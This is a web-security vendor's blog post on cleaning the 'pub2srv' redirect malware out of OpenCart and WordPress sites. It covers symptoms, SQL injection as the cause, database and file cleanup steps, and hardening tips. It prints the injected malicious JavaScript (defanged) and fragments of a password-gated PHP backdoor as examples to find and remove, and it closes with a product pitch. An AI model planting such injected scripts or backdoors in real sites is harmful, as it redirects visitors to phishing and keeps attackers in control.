Remove pub2srv malware from your OpenCart or WordPress Website

We’ve been watching a specific malware infection targeting OpenCart & WordPress websites for several months. It’s commonly referred to as the pub2srv malware infection which redirects your website visitors to other malicious domains like go.pub2srv[.]com, go.mobisla[.]com, go.oclaserver[.com] Remove pub2srv malware, pub2srv, solve pub2srv 


pub2srv Malware

Screenshot of WordPress user request help in the forum, Remove pub2srv malware, pub2srv, solve pub2srv 


Contents of This Guide

1 What is pub2srv malware? What are it’s symptoms?

2 Consequences of the Hack

3 How to remove the pub2srv malware code from my website?

4 Steps to prevent a re-infection & Identify cause

5 About Astra Web Security

What is pub2srv malware? What is it’s symptoms?

It is a malware causing OpenCart & WordPress sites to redirect to spammy web pages. On mobile devices, a pop-up opens containing ads and phishing pages.

The pub2srv malware injects malicious JavaScript code in the source of the webpage causing the redirect/pop-ups. In the case of Opencart, it is caused due to SQL injection vulnerabilities in the store, allowing the hacker to add the malicious code to the database. In the case of WordPress, hackers are able to modify the index.php or functions.php file to insert the payload.

Typical symptoms of this hack:

  1. Visitors to your website are redirected to spam websites with advertisements, porn, phishing pages
  2. Pop-ups on mobile devices prompting you to install apps
  3. Plugins relying on AJAX stop working (Example: TablePress, DataTables etc.)
  4. Blacklisted by Google
  5. Un-recognized JavaScript code in the source

Consequences of the Hack

Since the underlying cause of this malware is an SQL injection (SQLi) vulnerability, an attacker can:

  • Add, delete, edit or read content in the database
  • Read source code from files on the database server
  • Write files to the database server
  • Steal user records & passwords of your WordPress/Opencart website
  • Theft of transaction information in your OpenCart/WooCommerce stores
  • Perform SEO spam on your domain resulting in Google Webmasters blacklist

How to remove the pub2srv malware code from my website?

In OpenCart, the malware typically infects the database and places its code in the following database tables:

  1. oc_product_description table (Product Descriptions)
  2.  oc_category_description table (Category Descriptions)

Follow these steps to remove the malicious code from your OpenCart database:

  1. Preview the database tables using a tool like phpMyAdmin or Sequel Pro
  2. Open the ‘oc_category_description’ table and inspect the values in the ‘description’ column.
  3. You will see some JavaScript code snippet as shown below:
    <script type="text/javascript">//<![CDATA[ (function() { var configuration = { "token": "XXXXXXXXXXXXX", "exitScript": { "enabled": true }, "popUnder": { "enabled": true } }; var script = document.createElement(''script''); script.async = true; script.src = ''//cdn.shorte[.st]/link-converter.min.js''; script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != ''complete'' && rs != ''loaded'') return; shortestMonetization(configuration);}; var entry = document.getElementsByTagName(''script'')[0]; entry.parentNode.insertBefore(script, entry); })(); //]]></script><script data-cfasync=''false'' type=''text/javascript'' src=''//pXXXXX.clksit[]adServe/banners?tid=XXXXX_127XXX_7&tagid=2''></script><script type="text/javascript" src="//[go.pub2srv][.com/ap]u.php?zoneid=XXXXXX"></script><script async="async" type="text/javascript" src="//g[o.mobisl][m/]p?p=XXXXXX&interactive=1&pushup=1"></script>
  4. Execute the following SQL code snippet after making the necessary replacements:
    UPDATE oc89gWs_category_description
    SET description = REPLACE (description, 'INSERT MALICIOUS CODE FROM PREVIOUS STEP', '');
  5. Repeat all the above step for the oc_product_description table

In WordPress, the malware is typically found in the WordPress files:

  1. index.php
  2. functions.php
  3. Database tables

Follow these steps to remove the malicious code from your WordPress server:

Remove pub2srv malware, pub2srv, solve pub2srv

  1. Open the index.php file (public_html folder) & the wp-content/themes/NAME-OF-THEME/functions.php on your server
  2. Search for unfamiliar/gibberish/encrypted code in these files. You may find code similar to:
    if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'XXXXXXXXXXXXXXXXXXXXXX'))
    if ( ! function_exists( 'wp_temp_setup' ) ) {  
  3. If you find malicious code in either of these files, you should replace the file(s) from a last known good backup.
  4. Also, verify the tables in your database as mentioned in the steps for OpenCart above.
  5. Also, in wp-include directory: delete wp-vcd.php and class.wp.php files, in wp-includedirectory: open post.php and delete the first php tag added by Malware. Open the theme’s functions.php file and delete the above codes. (Suggested by one our readers Jaber in comments)

Steps to prevent a re-infection & Identify the cause,

Remove pub2srv malware, pub2srv, solve pub2srv

  1. Update your OpenCart/WordPress website to the latest version: To fix any known security issues in the CMS core
  2. Block SQL Injection attacks: Use a security plugin like Astra which actively detects and blocks SQL Injection (SQLi) attacks before they even reach your website.
  3. Change the username and password of admin accounts: So that hacker does not continue to have access to the website after malware cleanup
  4. Change database password: Such that hacker is unable to directly connect to the database
  5. Change Encryption keys: To prevent spoofing & other cryptographic attacks
  6. Restrict Admin area access to only whitelisted IP addresses: Such that only authorized administrators can access the backend admin area
  7. Uninstall unused plugins/extensions: If no longer maintained, they may contain security issues causing the hack in the first place
  8. Scan Server Logs (Access & Error): You may find unfamiliar or gibberish errors in the logs which may indicate the source & time of the hack

About Astra Web Security

Astra is an end-to-end security solution for your CMS. You can protect yourself against 100+ attacks, bad bots, malware with just the click of a button. Our security experts provide 24×7 assistance in malware cleanups & securing your online business. Say Hi on the chat widget below, if you’d want professional help or want to know how we make sure your website is 100% clean and secure!


Post first appeared on

Leave a Reply

2 Comment authors
188bet188bet Recent comment authors
newest oldest most voted
Notify of

Hi! This is my first visit to your blog! We are a team of
volunteers and starting a new project in a community in the same niche.
Your blog provided us beneficial information to work on. You have done
a outstanding job!


Amazing! Its really remarkable post, I have got much clear idea about from this post.